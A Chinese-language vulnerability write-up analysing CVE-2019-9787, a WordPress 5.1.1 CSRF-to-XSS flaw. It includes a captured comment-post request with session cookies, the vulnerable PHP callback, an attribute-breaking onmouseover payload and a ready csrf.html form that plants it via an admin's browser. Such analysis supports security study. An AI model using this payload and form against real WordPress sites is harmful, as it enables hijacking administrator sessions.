# CVE-2019-9787 (WordPress 5.1.1 CSRF to RCE)
###### tags: `CVE` `wordpress`
這題的雖說是csrf + rce
rce 的部分是xss完成的。
先講解流程
admin 帳號評論文章是可以不被xss過慮的,也就是說admin 可以想說啥說啥,但其他帳號無法造成xss,觸發要用csrf 誘騙 admin
可以觸發 js
```
<a onmouseover=alert(1)>777777777
```
csrf能成功原因在於 admin 帳號還有個缺陷,
amdin 在post 評論時會送出5個 POST 其中 _wp_unfiltered_html_comment 為一個 nonce值隨機數 是用來防止 csrf的,但 CVE-2019-9787 告訴我們 即使 _wp_unfiltered_html_comment 為空還是可以發送評論。
據說是因為WordPress其中有一些特殊的功能例如trackbacks and pingbacks會受到該值的影響
```
comment=
&submit=
&comment_post_ID=
&comment_parent=
&_wp_unfiltered_html_comment=
```
csrf 先放一邊,我們先看看 xss 造成的rce
測試無害payload:
```
<a title='123' rel='666'>777777777
```
bp: (記得把_wp_unfiltered_html_comment) 值改空 模擬nonce 對 csrf的防禦
```http=
POST /wp-comments-post.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 176
Origin: http://localhost
Connection: close
Referer: http://localhost/2023/03/15/test/
Cookie: NpHtD_admin_username=5ff7iIi-qmkChcz4NUr-kAi4nK3Gaf-9sUzunOpdPywIcQ; NpHtD_siteid=5ff7iIi-qmkChcz4NR_5kwG7kq3ENars4k-8zb0N; NpHtD_userid=d404pX26NdX1MOvSkXSZBq25rNZbU8jE1CR_2MsR; NpHtD_admin_email=6b11eaWkej43f_CT9zl4bs_woPde_o10IQal8a90uQ14uAi5ENu_Tg; NpHtD_sys_lang=6b11eaWkej43f_CT928sa837o_VZ8dlycVTyovg_4xNb5w; wp-settings-1=libraryContent%3Dbrowse%26mfold%3Do%26editor%3Dtinymce; wp-settings-time-1=1678692933; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_86a9106ae65537651a8e456835b316ab=admin%7C1679030902%7CJys6wpCl06krsAq95HvzB8v4F48Cdfct8Al74qIJvwU%7C45c5e73deec696ee9ece5dc75a35f50ddba363dee67cab97b9d1221e69a6e527; XDEBUG_SESSION=sublime.xdebug
Upgrade-Insecure-Requests: 1
comment=%3Ca+title%3D%27123%27+rel%3D%27666%27%3E777777777&submit=%E5%8F%91%E8%A1%A8%E8%AF%84%E8%AE%BA&comment_post_ID=4&comment_parent=0&_wp_unfiltered_html_comment=
```
這裡快速跟蹤的方法狂按f8 值到看到我們的相關數據出現開始才慢慢走
關鍵函數:
wp_rel_nofollow_callback()
看到這個函數我們還是很開心的,最後 return 居然是拼接的,那我們可以注入嗎,保持這個想法。
```php=
//wp-includes/formatting.php
function wp_rel_nofollow_callback( $matches ) {
$text = $matches[1];
$atts = shortcode_parse_atts( $matches[1] );
$rel = 'nofollow';
if ( preg_match( '%href=["\'](' . preg_quote( set_url_scheme( home_url(), 'http' ) ) . ')%i', $text ) ||
preg_match( '%href=["\'](' . preg_quote( set_url_scheme( home_url(), 'https' ) ) . ')%i', $text )
) {
return "<a $text>";
}
if ( ! empty( $atts['rel'] ) ) {
$parts = array_map( 'trim', explode( ' ', $atts['rel'] ) );
if ( false === array_search( 'nofollow', $parts ) ) {
$parts[] = 'nofollow';
}
$rel = implode( ' ', $parts );
unset( $atts['rel'] );
$html = '';
foreach ( $atts as $name => $value ) {
$html .= "{$name}=\"$value\" ";
}
$text = trim( $html );
}
return "<a $text rel=\"$rel\">";
}
```
你用 phpstorm 走到要 return之前 關鍵查看 兩個變數
```htmlembedded=
$text = "title="123""
$rel = "666 nofollow"
```
有點奇怪阿,看不清楚對不對,我們把兩側的雙引號再分開一點
```htmlembedded=
$text = " title="123" "
$rel = " 666 nofollow "
```
所以最後拼接會是
```htmlembedded=
return "<a $text rel=\"$rel\">";
對比
<a title="123" rel=\"666 nofollow\">
```
所以知道最後又拼接回原樣,但我們很雞賊。
\" 雙引號閉合
插入 onmouseover=alert(1)
插入 id=\" 閉合後面的雙引號
payload:
```hmtl=
" onmouseover=alert(1) id="
```
```hmtl=
<a title="12" onmouseover=alert(1) id=" 3" rel=\"666 nofollow\">
```
回到一開始我們無害的a tag 然後構造 title 屬性
```htmlembedded=
<a title='123' rel='666'>777777777
<a title='12" onmouseover=alert(1) id="3' rel='666'>777777777
```
可以開始構造csrf
```
comment=
&submit= // 這裡可以不要
&comment_post_ID=
&comment_parent=
&_wp_unfiltered_html_comment= // 這裡為空
```
payload:
由我們用了雙引號閉合,所以我們在製作csrf comment 的 value=\"\" 也會被影響,所以用html encode
```
<a title='12" onmouseover=alert(1) id="3' rel='666'>88888888888
```
### csrf.html
注意:comment_post_ID 這邊我沒測試過是不是通用你可以根據自己環境改變
```hmtl=
<html>
<body>
<form action="http://localhost/wp-comments-post.php" method="POST">
<input type="hidden" name="comment" value="<a title='12"     onmouseover=alert(1)       id="3' rel='666'>88888888888" />
<input type="hidden" name="comment_post_ID" value="4" />
<input type="hidden" name="comment_parent" value="0" />
<input type="hidden" name="_wp_unfiltered_html_comment" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
此時點開 csrf 頁面就會添加一個留言,滑鼠移過去觸發xss。
心得:
此篇整理花了我一些時間,最主要是payload 網上給的不起作用,所以我自己慢慢測試。還有許多可以說明的地方沒說,不過也沒測試過xss 攻擊payload 需不需要特殊繞過。(我感覺還是會被過濾很多字元)
這篇有題到後續payload 要如何慮利用,但我也沒測試過
https://ironhackers.es/en/tutoriales/wordpress-5-1-csrf-xss-rce-poc/
參考文章:
https://www.freebuf.com/vuls/198346.html
https://www.hackbase.net/security/exploit/260488.html